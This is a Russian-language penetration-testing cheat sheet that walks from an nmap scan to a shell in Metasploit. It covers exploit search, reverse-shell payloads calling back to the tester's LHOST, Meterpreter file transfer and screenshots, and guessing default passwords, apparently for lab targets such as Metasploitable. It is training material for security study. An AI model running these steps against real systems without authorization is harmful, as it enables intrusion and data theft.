📌 Шпаргалка #18

💎 Универсальная методология эксплуатации (взлома)

✍️ pentestudy 📅 30.03.2026

🎯 Что это

Пошаговый алгоритм действий от обнаружения сервиса до получения шелла. Не привязан к конкретной уязвимости — работает как универсальный чеклист для любой цели.

Представь это как рецепт: ингредиенты (порты, сервисы) каждый раз разные, но последовательность действий на кухне — одна и та же.

📌 Зачем нужна методология

Без системного подхода пентест превращается в тыкание наугад. Методология даёт предсказуемый процесс: сканируешь → находишь сервис → ищешь эксплойт → настраиваешь → запускаешь → проверяешь. Каждый шаг логически вытекает из предыдущего.

Даже если конкретный эксплойт не сработал — ты знаешь, куда двигаться дальше, а не сидишь в ступоре.

🔧 Шаг 0 — Активация базы данных

Перед запуском msfconsole включи PostgreSQL. Без неё Metasploit работает, но не сохраняет найденные хосты, порты и креды — придётся всё запоминать самому.

sudo msfdb init

Делается один раз. После этого запускаешь msfconsole как обычно. Проверить подключение:

db_status

Должно быть Connected to msf. Теперь все результаты сканирований и брутфорса сохраняются автоматически. Посмотреть их:

hosts           # найденные хосты
services        # открытые порты и сервисы
creds           # найденные логины/пароли

Аналогия: это как рабочий журнал пентестера, который Metasploit ведёт за тебя. Особенно полезно, когда целей больше одной или возвращаешься к лабе через несколько дней.

⚡ Шаг 1 — Сканирование цели

Первое действие всегда одно — узнать, что работает на цели. Nmap сканирует все порты и определяет версии сервисов.

nmap -sV -p- <TARGET_IP>

-sV — определить версии сервисов. Без этого ты видишь только номера портов, но не знаешь что за софт за ними стоит.

-p- — сканировать все 65535 портов. По умолчанию Nmap проверяет только топ-1000, и ты можешь пропустить уязвимый сервис на нестандартном порту.

На что смотреть в результатах

Тебя интересуют три вещи в каждой строке:

  • Порт — номер и протокол (22/tcp, 8787/tcp)
  • Сервис — что работает (ssh, http, drb)
  • Версия — конкретная версия софта (OpenSSH 4.7p1, UnrealIRCd 3.2.8.1)

Версия — самое важное. Именно по ней ты будешь искать эксплойт.

🔍 Шаг 2 — Поиск эксплойта

Два параллельных инструмента поиска. Используй оба — результаты дополняют друг друга.

searchsploit (в обычном терминале)

searchsploit <название_сервиса>
searchsploit <название_сервиса> <версия>

Ищет по локальной базе Exploit-DB. Показывает эксплойты для всех платформ, включая Python-скрипты и ручные методы.

search в msfconsole

search <название_сервиса>

Ищет только внутри Metasploit. Если эксплойт здесь — его можно запустить сразу, без лишних телодвижений.

Как выбирать из результатов

  • Рейтинг — ищи excellent или great, они надёжнее
  • Платформа — нужен Linux или multi (мультиплатформенный). Windows-эксплойты для Linux-цели бесполезны
  • Типexploit для атаки, auxiliary для разведки. Тебе нужен exploit
  • Дата — не критично, но свежие обычно стабильнее

Если searchsploit нашёл эксплойт, а в Metasploit его нет — придётся запускать вручную. Если есть в обоих — бери из Metasploit, там удобнее.

🔧 Шаг 3 — Загрузка и разведка эксплойта

use <путь/к/эксплойту>

Теперь разберись что он делает, прежде чем запускать:

show info

Читаешь описание — что именно эксплуатируется. Бэкдор в коде? Переполнение буфера? Слабая аутентификация? Это помогает понять, чего ожидать.

show options

Показывает параметры, которые нужно настроить. Колонка Required = yes — обязательно заполнить.

show payloads

Список доступных полезных нагрузок. От выбора payload зависит, какой тип доступа ты получишь.

⚡ Шаг 4 — Настройка

Обязательные параметры

set RHOSTS <TARGET_IP>

RHOSTS — IP цели. Нужен почти всегда.

Выбор payload

Если дефолтный payload не подходит:

set payload <тип_payload>

Основные варианты по приоритету:

  • cmd/unix/reverse_netcat — простой обратный шелл, работает почти везде
  • cmd/unix/reverse — базовый reverse shell через /bin/sh
  • java/meterpreter/reverse_tcp — если цель на Java, даёт продвинутый Meterpreter
  • linux/meterpreter/reverse_tcp — полноценный Meterpreter для Linux

LHOST — твой IP

Если payload обратный (reverse), нужно указать куда цель будет подключаться:

set LHOST <СВОЙ_IP>

Узнать свой IP:

ifconfig
ip a

Финальная проверка

show options

Убедись, что все Required = yes поля заполнены. Тройная проверка перед запуском — привычка, которая экономит время.

🎯 Шаг 5 — Запуск

exploit

или эквивалент:

run

Возможные исходы

  • Session opened — успех, ты внутри
  • Exploit completed, no session — эксплойт отработал, но шелл не открылся. Попробуй другой payload или другой эксплойт
  • Exploit failed — иногда пишет failed, но сессия всё равно открывается. Проверь командой sessions

🔍 Шаг 6 — Проверка доступа

Первые команды после получения шелла:

whoami

Под каким пользователем ты зашёл — root или обычный.

hostname

Подтверждение, что ты на целевой машине, а не на своей.

uname -a

Версия ядра, архитектура. Полезно для дальнейшей эскалации привилегий.

🛡 Шаг 7 — Управление сессиями

Metasploit хранит все открытые сессии. Это как вкладки в браузере — можно переключаться между ними.

sessions

Показать все активные сессии.

sessions -i <ID>

Войти в конкретную сессию. -i значит interact.

background

Или Ctrl+Z — свернуть текущую сессию и вернуться в msfconsole. Сессия остаётся живой.

Важно: если в шелле набрать exit — сессия закроется навсегда. Используй background, если хочешь к ней вернуться.

⚡ Альтернативный путь — прямое подключение

Если эксплойт не найден ни в searchsploit, ни в Metasploit — попробуй подключиться к сервису напрямую его родным клиентом.

vncviewer <TARGET_IP>
ssh <user>@<TARGET_IP>
ftp <TARGET_IP>
telnet <TARGET_IP>

Пробуй дефолтные пароли:

  • password
  • admin
  • root
  • имя самого сервиса (например msfadmin для Metasploitable)
  • пустой пароль

Слабый пароль — тоже уязвимость. Многие реальные взломы происходят именно так, без единого эксплойта.

🛡 Meterpreter vs обычный shell

Если payload выдал Meterpreter — это продвинутая оболочка с расширенными возможностями.

Основные команды Meterpreter

help

Полный список команд, разбитый по категориям.

shell

Перейти из Meterpreter в обычный системный шелл цели. Обратно — exit.

download <файл>
upload <файл>

Скачать файл с цели на свою машину или загрузить наоборот.

screenshot

Снимок экрана целевой машины.

Аналогия: обычный шелл — это как зайти в чужой дом и разговаривать через дверь. Meterpreter — как сидеть внутри за их компьютером с полным доступом ко всему.

🧠 Готовые комбо

Быстрый старт — от скана до шелла:

nmap -sV -p- TARGET → search SERVICE → use EXPLOIT → set RHOSTS TARGET → set LHOST СВОЙ_IP → exploit → whoami

Если эксплойт не найден:

nmap -sV TARGET → searchsploit SERVICE VERSION → не нашёл → подключись клиентом напрямую → пробуй дефолтные пароли

Управление несколькими сессиями:

exploit → background (Ctrl+Z) → use ДРУГОЙ_ЭКСПЛОЙТ → exploit → sessions → sessions -i ID

⚠️ Важные моменты

  • Всегда сканируй все порты (-p-). Уязвимый сервис может висеть на порту 8787 или 3632, которые Nmap по умолчанию не проверяет
  • Не сдавайся после первого эксплойта. Если один не сработал — пробуй следующий. Это нормальная часть процесса
  • Exploit failed ≠ неудача. Проверяй sessions — сессия могла открыться несмотря на сообщение об ошибке
  • searchsploit и search в msfconsole дают разные результаты. Используй оба
  • Не набирай exit в шелле, если хочешь сохранить сессию. Используй background
  • show info перед запуском — привычка, которая спасает от запуска не того эксплойта
  • Дефолтные пароли — не забывай про них. Иногда самый простой путь и есть правильный
Содержание
🎯 Что это 📌 Зачем нужна методология 🔧 Шаг 0 — Активация базы данных ⚡ Шаг 1 — Сканирование цели На что смотреть в результатах 🔍 Шаг 2 — Поиск эксплойта searchsploit (в обычном терминале) search в msfconsole Как выбирать из результатов 🔧 Шаг 3 — Загрузка и разведка эксплойта ⚡ Шаг 4 — Настройка Обязательные параметры Выбор payload LHOST — твой IP Финальная проверка 🎯 Шаг 5 — Запуск Возможные исходы 🔍 Шаг 6 — Проверка доступа 🛡 Шаг 7 — Управление сессиями ⚡ Альтернативный путь — прямое подключение 🛡 Meterpreter vs обычный shell Основные команды Meterpreter 🧠 Готовые комбо ⚠️ Важные моменты